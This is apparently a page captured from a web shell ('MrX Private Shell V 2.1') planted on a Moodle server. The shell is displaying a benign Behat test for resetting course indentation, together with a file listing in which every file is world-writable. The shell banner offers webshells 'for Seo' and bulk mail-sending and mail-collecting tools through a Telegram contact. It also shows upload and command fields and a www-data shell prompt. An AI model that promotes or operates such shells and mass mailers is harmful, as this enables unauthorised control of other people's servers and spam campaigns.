__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_admin @core_course @javascript
Feature: Reset course indentation
  In order to reset indentation in course modules
  As a admin
  I want change indent value for all the modules of a course format courses in one go

  Background:
    Given the following "courses" exist:
      | fullname        | shortname | format |
      | Sections Course 1 | T1      | topics |
      | Sections Course 2 | T2      | topics |
      | Weekly Course 1 | W1        | weeks  |
      | Weekly Course 2 | W2        | weeks  |
    And the following "activities" exist:
      | activity | name                   | intro                         | course | idnumber |
      | forum    | Sections forum name    | Sections forum description    | T1     | forum1   |
      | data     | Sections database name | Sections database description | T1     | data1    |
      | wiki     | Sections wiki name     | Sections wiki description     | T2     | wiki1    |
      | forum    | Weekly forum name      | Weekly forum description      | W1     | forum2   |
      | data     | Weekly database name   | Weekly database description   | W1     | data2    |
      | wiki     | Weekly wiki name       | Weekly wiki description       | W2     | wiki2    |
    And I log in as "admin"
    And I am on "Sections Course 1" course homepage with editing mode on
    And I open "Sections forum name" actions menu
    And I click on "Move right" "link" in the "Sections forum name" activity
    And I open "Sections forum name" actions menu
    And "Move right" "link" in the "Sections forum name" "activity" should not be visible
    And "Move left" "link" in the "Sections forum name" "activity" should be visible
    And I press the escape key
    And I open "Sections database name" actions menu
    And "Move right" "link" in the "Sections database name" "activity" should be visible
    And "Move left" "link" in the "Sections database name" "activity" should not be visible
    And I am on "Sections Course 2" course homepage with editing mode on
    And I open "Sections wiki name" actions menu
    And I click on "Move right" "link" in the "Sections wiki name" activity
    And I open "Sections wiki name" actions menu
    And "Move right" "link" in the "Sections wiki name" "activity" should not be visible
    And "Move left" "link" in the "Sections wiki name" "activity" should be visible
    And I am on "Weekly Course 1" course homepage with editing mode on
    And I open "Weekly forum name" actions menu
    And I click on "Move right" "link" in the "Weekly forum name" activity
    And I open "Weekly forum name" actions menu
    And "Move right" "link" in the "Weekly forum name" "activity" should not be visible
    And "Move left" "link" in the "Weekly forum name" "activity" should be visible
    And I press the escape key
    And I open "Weekly database name" actions menu
    And "Move right" "link" in the "Weekly database name" "activity" should be visible
    And "Move left" "link" in the "Weekly database name" "activity" should not be visible
    And I am on "Weekly Course 2" course homepage with editing mode on
    And I open "Weekly wiki name" actions menu
    And I click on "Move right" "link" in the "Weekly wiki name" activity
    And I open "Weekly wiki name" actions menu
    And "Move right" "link" in the "Weekly wiki name" "activity" should not be visible
    And "Move left" "link" in the "Weekly wiki name" "activity" should be visible

  Scenario Outline: Apply course indentation reset
    Given I navigate to "Plugins > Course formats > <format>" in site administration
    And I wait "5" seconds
    And "Reset indentation sitewide" "link" should exist
    When I click on "Reset indentation sitewide" "link"
    And I should see "Reset indentation sitewide"
    And "Reset indentation sitewide" "button" should exist
    And I click on "Reset indentation sitewide" "button"
    Then I should see "Indentation reset."
    And I am on "<prefix> Course 1" course homepage with editing mode on
    And I open "<prefix> forum name" actions menu
    And "Move right" "link" in the "<prefix> forum name" "activity" should be visible
    And "Move left" "link" in the "<prefix> forum name" "activity" should not be visible
    And I press the escape key
    And I open "<prefix> database name" actions menu
    And "Move right" "link" in the "<prefix> database name" "activity" should be visible
    And "Move left" "link" in the "<prefix> database name" "activity" should not be visible
    And I am on "<prefix> Course 2" course homepage with editing mode on
    And I open "<prefix> wiki name" actions menu
    And "Move right" "link" in the "<prefix> wiki name" "activity" should be visible
    And "Move left" "link" in the "<prefix> wiki name" "activity" should not be visible
    # Check other course formats had not been reset
    And I am on "<other> Course 1" course homepage with editing mode on
    And I open "<other> forum name" actions menu
    And "Move right" "link" in the "<other> forum name" "activity" should not be visible
    And "Move left" "link" in the "<other> forum name" "activity" should be visible

    Examples:
      | format          | prefix    | other    |
      | Custom sections | Sections  | Weekly   |
      | Weekly sections | Weekly    | Sections |

  Scenario Outline: Cancel course indentation reset
    Given I navigate to "Plugins > Course formats > <format>" in site administration
    And "Reset indentation sitewide" "link" should exist
    When I click on "Reset indentation sitewide" "link"
    And I should see "Reset indentation sitewide"
    And "Reset indentation sitewide" "button" should exist
    And "Cancel" "button" should exist
    And I click on "Cancel" "button"
    Then I should not see "Indentation reset."
    And I am on "<prefix> Course 1" course homepage with editing mode on
    And I open "<prefix> forum name" actions menu
    And "Move right" "link" in the "<prefix> forum name" "activity" should not be visible
    And "Move left" "link" in the "<prefix> forum name" "activity" should be visible
    And I press the escape key
    And I open "<prefix> database name" actions menu
    And "Move right" "link" in the "<prefix> database name" "activity" should be visible
    And "Move left" "link" in the "<prefix> database name" "activity" should not be visible
    And I am on "<prefix> Course 2" course homepage with editing mode on
    And I open "<prefix> wiki name" actions menu
    And "Move right" "link" in the "<prefix> wiki name" "activity" should not be visible
    And "Move left" "link" in the "<prefix> wiki name" "activity" should be visible

    Examples:
      | format          | prefix    |
      | Custom sections | Sections  |
      | Weekly sections | Weekly    |

Filemanager

Name Type Size Permission Actions
assign.feature File 4.13 KB 0777
behat_admin.php File 5.19 KB 0777
browse_users.feature File 11.95 KB 0777
check.feature File 2.74 KB 0777
display_short_names.feature File 858 B 0777
enable_multiple_accounts_use_same_email.feature File 3.23 KB 0777
filter_users.feature File 11.17 KB 0777
invalid_allcountrycodes.feature File 1.41 KB 0777
language_settings.feature File 1.35 KB 0777
manage_blocks.feature File 2.45 KB 0777
manage_media.feature File 806 B 0777
moodlenet_outbound.feature File 2.5 KB 0777
outgoing_mail.feature File 1.29 KB 0777
plugins_overview.feature File 2.25 KB 0777
purge_caches.feature File 1.4 KB 0777
resetindentation.feature File 6.61 KB 0777
search_areas.feature File 1.02 KB 0777
set_admin_settings_value.feature File 895 B 0777
site_administration.feature File 1.01 KB 0777
task_logs.feature File 2.32 KB 0777
Filemanager